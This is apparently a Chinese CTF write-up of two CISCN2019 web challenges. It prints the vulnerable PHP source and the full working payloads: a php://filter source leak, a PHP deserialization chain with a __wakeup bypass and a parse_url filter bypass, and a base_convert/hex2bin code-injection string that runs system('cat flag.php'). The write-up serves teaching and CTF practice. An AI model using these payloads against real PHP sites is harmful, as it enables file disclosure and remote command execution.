CISCN2019 web writeup

admin 2022年11月18日14:07:58CISCN2019 web writeup已关闭评论18 views字数 3684阅读12分16秒阅读模式

记录一下萌新的第一次CISCN之旅,这次和队友一起完成了两道web题目(虽然第二题没有什么输出),这次的web题目质量很高,接下来是我对这次比赛解题过程的记录~

web1

访问index.php,可以看到如下界面
CISCN2019 web writeup
右键查看页面源代码
CISCN2019 web writeup
得到了两个提示
1.index.php中可能存在有文件包含的漏洞
2.hint.php存在有提示
首先利用php://filter访问hint.php,修改url为http://127.0.0.1/ciscnweb1/index.php?file=php://filter/read=convert.base64-encode/resource=hint.php,base64解密后得到hint.php的网页源码。

<?php  
class Handle{ 
    private $handle;  
    public function __wakeup(){
		foreach(get_object_vars($this) as $k => $v) {
            $this->$k = null;
        }
        echo "Waking up\n";
    }
	public function __construct($handle) { 
        $this->handle = $handle; 
    } 
	public function __destruct(){
		$this->handle->getFlag();
	}
}


class Flag{
    public $file;
    public $token;
    public $token_flag;
 
    function __construct($file){
		$this->file = $file;
		$this->token_flag = $this->token = md5(rand(1,10000));
    }
    
	public function getFlag(){
		$this->token_flag = md5(rand(1,10000));
        if($this->token === $this->token_flag)
		{
			if(isset($this->file)){
				echo @highlight_file($this->file,true); 
            }  
        }
    }
}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37
  • 38

同理我们也可以获得index.php的网页源码

<html>
<?php
error_reporting(0); 
$file = $_GET["file"]; 
$payload = $_GET["payload"];
if(!isset($file)){
	echo 'Missing parameter'.'<br>';
}
if(preg_match("/flag/",$file)){
	die('hack attacked!!!');
}
@include($file);
if(isset($payload)){  
    $url = parse_url($_SERVER['REQUEST_URI']);
    parse_str($url['query'],$query);
    foreach($query as $value){
        if (preg_match("/flag/",$value)) { 
    	    die('stop hacking!');
    	    exit();
        }
    }
    $payload = base64_decode($payload);
    $payload = unserialize($payload);
}else{ 
   echo "Missing parameters"; 
} 
?>
<!--Please test index.php?file=xxx.php -->
<!--Please get the source of hint.php-->
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29

接下来我们对代码进行逐行分析,首先是hint.php中的内容
CISCN2019 web writeup
定义了一个名为Handle的类,其调用了function __wakeup函数,其会在我们对Handle类的对象进行反序列化的时候进行调用,结合下面的语句,我们需要绕过function __wakeup来避免我们传入的内容被置换为null,联想到MOCTF中一道名为PUBG的题目,可以通过修改序列化语句中的类属性数量对其进行绕过。然后就可以实现在对其析构时调用转入handlegetFlag()函数。
CISCN2019 web writeup
定义了一个名为Flag的类,内部有三个变量,分别名为file,tokentoken_flag。在构造的时候后面两个变量被同时赋值为了(1,10000)当中任意一个数字的md5值,也就是说此时token_flagtoken的值相同。
接下来时getFlag()函数,在调用这个函数的时候我们的token_flag的值有一次被赋值为了1,10000)当中任意一个数字的md5值,此时当且仅当tokentoken_flag的值完全相同时,file的内容才会被读取。
此时要想做到token_flagtoken的值完全相同依靠随机事件的发生(两次rand得到的随机数相同)是不实际的,此时联想到去年安恒月赛当中一道构造pop链的题目,其中也涉及了两个变量相等后其中一个变量发生了改变,需要实现两个变量相同的考察点,我们也如法炮制,采用动态跟随的方式进行绕过,即构造$token=&$token_flag进行绕过。
接下来就是把上面的点进行整合,构造出符合要求的Handle
CISCN2019 web writeup
CISCN2019 web writeup
接着就是这道题目最大的坑点了,就是如果以这种方式生成的类是不会显示Handle两侧的不可见字符的!下图是我在php在线工具当中进行的测试
CISCN2019 web writeup
因此我们采取url编码的方式将不可见字符变为可识别的内容
CISCN2019 web writeup
至此我们对于类和反序列化的操作就告一段落了。
然后我们查看index.php当中对于我们输入的过滤操作。
CISCN2019 web writeup
首先是$file不能出现flag
CISCN2019 web writeup
接着是$payload,首先我们的url被parse_url解析到数组当中,其中的query便是我们我们get方式传入的内容,parse_str会把查询字符串解析到变量当中。这也就要求我们传入的变量的值也不得出现flag,但毫无疑问我们要查询的内容就是flag.php,查到了一篇文章对parse_url进行绕过。

http://www.am0s.com/functions/406.html

CISCN2019 web writeup
现在可以尝试读取flag.php
最终的payload:http://127.0.0.1///ciscnweb1/index.php?file=hint.php&payload=O%3A6%3A%22Handle%22%3A1%3A{s%3A14%3A%22%00Handle%00handle%22%3BO%3A4%3A%22Flag%22%3A3%3A{s%3A4%3A%22file%22%3Bs%3A8%3A%22flag.php%22%3Bs%3A5%3A%22token%22%3Bs%3A32%3A%22ca9c267dad0305d1a6308d2a0cf1c39c%22%3Bs%3A10%3A%22token_flag%22%3BR%3A4%3B}}

WEB3

这道题目很有意思,得到flag的思路也很清晰,查看calc.php便得到了网页的源码,

可以看到最后的关键语句
CISCN2019 web writeup
只需要我们构造出$content的内容为system(cat flag.php)就好了,话虽如此,构造的过程我们也是绕了很多很多的弯路。CISCN2019 web writeup
首先是我们输入的长度收到了限制不得超过80位。
接着是blacklist的中的内容,禁用了空格,换行符,单双引号,反引号,中括号。
之后便是过滤了所有的字符(包括大小写字母下划线)。
开始时我们的想法是
1.利用通配符进行绕过
2.利用异或进行构造
但是这两种方法很快都被否决了,首先是通配符绕过,由于没有反引号无法执行指令;接着是异或构造由于没有单引号也无法实现。
最后我们注意到了$whitelist的中的内容,尝试利用其中的函数进行构造(当然是我给力的队友想出来的~)
payload:$pi=base_convert(37907361743,10,36)(dechex(1598506324));$$pi{0}($$pi{1})&0=system&1=cat flag.php
解释一下,首先是base_convert函数完成了36进制到10进制的转换,即$pi=hex2bin(dechex(1598506324)),dechex(1598506324)实现了10进制转换为16进制,即$pi=hex2bin(5f474554)hex2bin(5f474554)
实现了16进制转为10进制,最后构造出了$pi=_GET()
实现了get的构造后一切就变得清晰了$${0}就变成了$_GET(0),同理$_GET(1)也被构造了出来。$$pi{0}($$pi{1})就变成了$_GET(0)($GET(1)),接着我们传入0为system,1为cat flag.php,绕过了字符限制,完成getshell。

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年11月18日14:07:58
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CISCN2019 web writeuphttps://cn-sec.com/archives/1416688.html